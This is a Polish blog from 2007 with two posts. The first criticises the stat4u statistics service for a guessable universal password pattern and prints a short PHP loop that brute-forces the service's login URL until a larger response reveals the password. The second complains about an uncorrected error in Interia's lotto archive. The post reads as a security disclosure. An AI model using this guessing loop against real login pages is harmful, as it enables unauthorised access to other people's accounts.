sobota, 23 czerwiec 2007
Zawsze lubiłem statystyki stat4u. Przejrzyste, konkretne, wszystko na jednej stronie. W przeciwieńtwie jednak do np. Google Analytics wymagają umieszczenia dużego banera (jakby ktoś niewiedział - którego kod bardzo efektywnie egzekwują!)
Kilka dni temu “leciutko” poprawili statystyki “ostatnich odwołań - pozatym - od kilku lat bez zmian! (nie licząc w statnim czasie częstych błędów ich serwera, spoko, już jest OK).
Jak wiadomo brak unowocześniania softu często jest niebezpieczne. Przykład może nie od strony oprogramowania, ale z innej, “mentalnej”:
chcąc przeglądać czyjeś statystyki trzeba mieć hasło (przeważnie). Jakie jest (uniwersalne!) hasło? - to wie każdy kto się zarejestruje w tym systemie..
Już konkretniej:
for($i=
1;
$i<
9999;
$i++
)
{
$str =
implode (“”,
file(“http://stat.4u.pl/cgi-bin/stat4u.cgi ?i=login&p=stat” .
$i) );
if(strlen($str)>
3300) //~bajtów
{
$pass=
“stat” .
$i;
break;
}
}
wyświetl
($pass);
Statu4u żyje! Reakcja BOKu: 1 dzień! (w nawiasie mówiąc reakcja typu “a jak ktoś spróbuje to naślemy na niego prokuraturę”) Czemu serwis nie chce się “zmodernizować”?
Tematy Bugs, Statystyki, Web x.0 | Brak komentarzy »
sobota, 16 czerwiec 2007
Nową, odsłoną “domówki” [edit: pomyślnie przeniesioną z własnoręcznej poprzedniej wersji] rozpoczynam cykl moich zapisków dotyczących.. [internet, filozofia, fotografia, ..]
Na początek mam gorrrący temat;)
Jako amator obcowania z grami losowymi typu polskie LOTTO (do czasu nieludzkiego podwyższenia opodatkowania gier) dłuższy czas temu analizując archiwalne losowania lotto natknąłem się w portalu lotto interii na.. fenomen! (jeśli ktoś nigdy nie puszczał kuponu to informuje że liczby losuje się z zakresu 1-80)
Ale nawet nie o to nie o to, pomyłki się wszędzie zdarzają. Problem w tym że oczywiście wysłałem stosowny email od “życzliwego” z ów informacją - nic nie poprawiono.
Tak jest do dziś. Nadeszła nowa Interia - ponowiłem kontakt z “obsługą”. Zero reakcji! Panowie! Web2.0 wymaga dobrej komunikacji z masą internautów!.. ale o tym w innym..
Tematy Bugs, Web x.0 | Komentarzy (3) »
